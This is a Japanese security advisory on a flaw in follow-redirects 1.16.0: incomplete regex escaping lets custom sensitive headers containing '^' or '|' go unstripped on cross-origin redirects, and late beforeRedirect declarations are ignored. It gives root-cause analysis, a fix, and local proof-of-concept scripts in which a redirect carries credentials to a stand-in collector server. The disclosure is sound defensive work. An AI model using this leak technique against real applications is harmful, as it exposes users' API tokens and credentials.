`follow-redirects` 1.16.0で導入された`sensitiveHeaders`オプション(CVE-2026-40895 / GHSA-r4q5-vmmm-2653に対する修正)は、リダイレクトが別のホストに移動したり、プロトコルがダウングレードしたりする場合に、削除する必要がある追加のヘッダー名をアプリケーションが宣言できるようにするものです。このフィルタは、宣言されたヘッダー名を連結し、各ヘッダー名を`escapeRegex`で処理した後に、大文字小文字を区別しない正規表現として構築されます。`escapeRegex`は、一部のメタ文字のみをエスケープし、`^`、`|`、`[`、`{`、および`}`はエスケープしません。ヘッダー名には正当に`^`と`|`が含まれる場合があります(これらはNodeが受け入れ、送信する有効なRFC 9110のトークン文字です)。宣言された名前がこれらのいずれかを含む場合、生成されたパターンは意図されたヘッダーに決して一致しません。その結果、アプリケーションがこのオプションを採用してカスタムの認証ヘッダーを保護し、攻撃者が制御するクロスオリジンのリダイレクトに従うと、その認証情報がエラーや警告なしに攻撃者に転送されます。アプリケーションは、それが保護されていると信じています。この問題は、影響を受ける名前に対して、保護が実際には存在しないという形で、静かに発生します。組み込みのリスト(Authorization、Proxy-Authorization、Cookie)にはメタ文字が含まれておらず、この問題の影響を受けません。

### 詳細
このフィルタは、`RedirectableRequest`コンストラクタの`index.js:118-120`で一度構築されます。

```js
this._headerFilter = new RegExp("^(?:" +
sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
")$", "i");
```

`escapeRegex`は、`index.js:703-705`で定義されています。

```js
function escapeRegex(regex) {
return regex.replace(/[\]\\/()*+?.$]/g, "\\$&"); // エスケープ対象: ] \ / ( ) * + ? . $ -- ^ | [ { } はエスケープ対象外
}
```

文字クラスは、`]`, `\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, および `$` をエスケープします。 一方、`^`, `|`, `[`, `{`, および `}` はエスケープされません。 これらのうち、Node.js の `http.ClientRequest` は、ヘッダー名に `^` と `|` を受け入れます(これらは RFC 9110 に基づく有効な `tchar` 値です)。 しかし、`[`, `{`, `}` は `ERR_INVALID_HTTP_TOKEN` エラーで拒否されます。 したがって、`^` と `|` が、意図しない認証情報の漏洩を引き起こす可能性のある原因となります。 また、`[`, `{`, `}` が実際のヘッダー名として使用できない場合でも、`sensitiveHeaders` エントリにこれらの文字のいずれかを含むと、トークンが不完全な状態(例えば、文字クラスが終了していない)になり、`RegExp` フィルターが `RedirectableRequest` コンストラクタで `SyntaxError` を発生させ、リクエストが開始に失敗します。 このケースは、サイレントな回避ではなく、リクエスト処理中に発生するエラーであり、以下に示す標準的なエスケープ処理によって修正されます。

エスケープされていないメタ文字を含む宣言された機密ヘッダー名の場合、代替パターンは、エラーを許容する形で機能不全となります。

- `^` を含む名前(例:`X-Api^Key`)の場合、パターン内に `X-Api^Key` という代替パターンが生成されます。 `^` は、パターンの途中で文字列の先頭を表すアンカーとして機能するため、実際のヘッダー名と一致することはありません。 `test("X-Api^Key")` は `false` を返し、ヘッダーは削除されません。
- `|` を含む名前(例:`X-Token|Secret`)の場合、`X-Token` と `Secret` という2つの別々の代替パターンに分割されます。 実際のヘッダー `X-Token|Secret` は一致しません(削除されません)。 一方、文字通り `X-Token` または `Secret` という名前の関連性のないヘッダーは削除されます。

生成されたフィルタのソースコードは、ライブラリの正確なロジックを再現したもので、以下のようになります。
```
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
```
このフィルタに対する直接的なマッチングの結果は、`X-Api^Key` -> false、`X-Token|Secret` -> false、`X-Control-Key` (通常の名称) -> true、そして分割された `X-Token` -> true および `Secret` -> true (意図しない除外)。組み込みの Authorization、Proxy-Authorization、Cookie はすべて -> true となります。

次に、関連する脆弱性(`beforeRedirect` の後にフィルタが更新されない):フィルタは構築時に一度だけ作成され、`index.js:490` で適用されます。これは、`beforeRedirect(this._options, ...)` フックと、その後の `_sanitizeOptions` ( `index.js:494-506`) の前に実行されます。このため、除外処理がフックの前に実行され、`this._headerFilter` が再構築されないため、`beforeRedirect` 内で呼び出し元が `options.sensitiveHeaders` に追加したエントリは、何も起こらないように無視されます。この問題は、深刻度は低いと考えられます。なぜなら、`beforeRedirect` 内で `sensitiveHeaders` を変更することは、オプションの公式な使用方法ではないため(公式な方法はリクエストオプションを使用することです)。したがって、これは、エスケープ機能の修正と組み合わせて、セキュリティ強化の項目として扱うべきであり、独立した制御バイパスとして扱うべきではありません。しかし、この問題は、両方の問題が同じ制御を弱体化させ、同じ修正策を共有しているため、ここに含めています。

推奨される修正策:2つの変更により、両方の問題を解決できます。

1. 正規表現のメタ文字をすべてエスケープします。
```js
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }
```
これは、影響を受けるすべての名称に対して正しいマッチングを復元し、同時に組み込みのマッチングを維持することが確認されています。

2. 除外処理時にフィルタを構築するか、`beforeRedirect` フックによってオプションが再サニタイズされた後にフィルタを再構築します。これにより、フック内で追加されたエントリが有効になります。例えば、キャッシュされた `this._headerFilter` を、現在の `this._options.sensitiveHeaders` から正規表現を構築する `this._getHeaderFilter()` に置き換えます。

さらに、ヘッダー名には厳格な文法があるため、`options.sensitiveHeaders` の各項目を RFC 9110 で定義されているトークン文字セットに対して検証し、無効な名前が見つかった場合は明示的なエラーを発生させることを検討してください。これにより、設定ミスが明確に検出されるようになります。生成されたフィルタによって、宣言されたすべての名前が実際に一致することを確認するユニットテストを追加してください。現在のテストスイートでは、メタ文字を含まない名前 (`Sensitive-A`, `x-sensitive-b`) のみがテストされており、そのためこの問題は CI を通過しています。

参照:
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
- https://github.com/follow-redirects/follow-redirects/pull/284
- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

### PoC (概念実証)
環境: Windows 11 上の Node.js v24.18.0。各スクリプトは、`follow-redirects` の 1.16.0 のソースコードからチェックアウトした状態で実行し、`require("./index.js")` がテスト対象のライブラリを指すようにします。

Facet 1、メタ文字ヘッダー名、`leak.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // クロスオリジン(異なるポート)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // 攻撃者によって制御されるターゲット
});
redirector.listen(45901, "127.0.0.1", function () {
collector.listen(45902, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 45901, path: "/",
headers: {
"X-Api^Key": "SECRET-LEAKED-1", // 機密情報として宣言済み、名前には"^"が含まれる
"X-Token|Secret": "SECRET-LEAKED-2", // 機密情報として宣言済み、名前には"|"が含まれる
"X-Control-Key": "SHOULD-BE-STRIPPED", // 機密情報として宣言済み、通常の名前(制御用)
"Authorization": "Bearer BUILTIN-CTL" // 組み込みリスト(制御用)
},
sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("X-Api^Key :", h["x-api^key"] || "(stripped)");
console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)");
console.log("Authorization :", h["authorization"] || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
```
観察された出力 (1.16.0):
```
X-Api^Key : SECRET-LEAKED-1 <- 認証情報がリダイレクト先へ漏洩
X-Token|Secret : SECRET-LEAKED-2 <- 認証情報がリダイレクト先へ漏洩
X-Control-Key : (stripped - OK) <- 制御:オプションは通常の名前で機能する
Authorization : (stripped - OK) <- 制御:組み込みリスト
```

組み込みリストが機能している。
```
同じ実行で、2つのコントロールが正しくフィルタリングされることは、フィルタリングの処理が実行され、メタ文字名のみがフィルタリングを回避することを示している。

根本原因の特定と修正の検証(純粋な正規表現ロジック、ネットワークを使用しない):
```js
var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); } // ライブラリのエスケープ関数
function escFixed(s) { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } // 標準的なエスケープ関数
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n))); // 両方ともfalse
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed ", n, fix.test(n))); // 両方ともtrue
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n))); // 両方ともtrue (誤り)
```
観察結果:現在のフィルタは、メタ文字名に対してはfalseを返し、関連性のない`X-Token`と`Secret`に対してはtrueを返す。一方、修正されたフィルタは、宣言されたすべての名前に対してtrueを返し、組み込みの項目に対してもtrueを返す。

ベクトルの到達可能性:
```
node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'
```
観察結果:`X-A^B`と`X-A|B`はACCEPTED(許可)され、`X-A[B`, `X-A{B`, `X-A}B`は`ERR_INVALID_HTTP_TOKEN`でREJECTED(拒否)される。

Facet 2、`beforeRedirect`内で宣言されたもの、`leak2.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
collector.listen(46202, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 46201, path: "/",
headers: { "X-Late": "LATE-DECLARED-VALUE" },
beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
redirector.close(); collector.close();
});
}).end();
});
});
```
観察された出力 (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (後から宣言された名前は削除されていません)。

### 影響
これは情報漏洩の脆弱性です。影響を受けるヘッダー名に対して、`sensitiveHeaders`によるクロスオリジン対策が、ユーザーに気づかれずに機能しなくなる可能性があります。影響を受けるのは、カスタムの認証情報を含むヘッダーの名前が`^`または`|`を含む場合に、`sensitiveHeaders`オプションを採用しているアプリケーションやライブラリです。また、攻撃者によって制御または改ざんされたリダイレクトに従う場合にも影響を受けます。この脆弱性が悪用されると、アプリケーションがヘッダーを保護していると認識しているにもかかわらず、宣言されたヘッダーの値(通常はAPIトークンやその他の認証情報)が、攻撃者が制御する宛先に、気づかれずに送信されてしまいます。配列形式の脆弱性と同様に、リダイレクトがHTTPSからHTTPにダウングレードされる場合、認証情報も平文で送信されます。この問題の影響は、ライブラリだけでなく、`sensitiveHeaders`オプションを採用し、メタ文字を含むヘッダー名を宣言しているアプリケーションやラッパーにも及びます。axiosはリダイレクト処理を`follow-redirects`に委譲しており(GHSA-r4q5-vmmm-2653を参照)、したがって、このオプションがライブラリに到達するaxiosベースの環境では、この脆弱性の影響を受ける可能性があります。組み込みの保護対象ヘッダーは影響を受けません。

影響を受けるパッケージ:
- npm (JavaScript) follow-redirects: 影響を受けるバージョンは1.16.0以上、1.16.1未満。1.16.1で修正済み。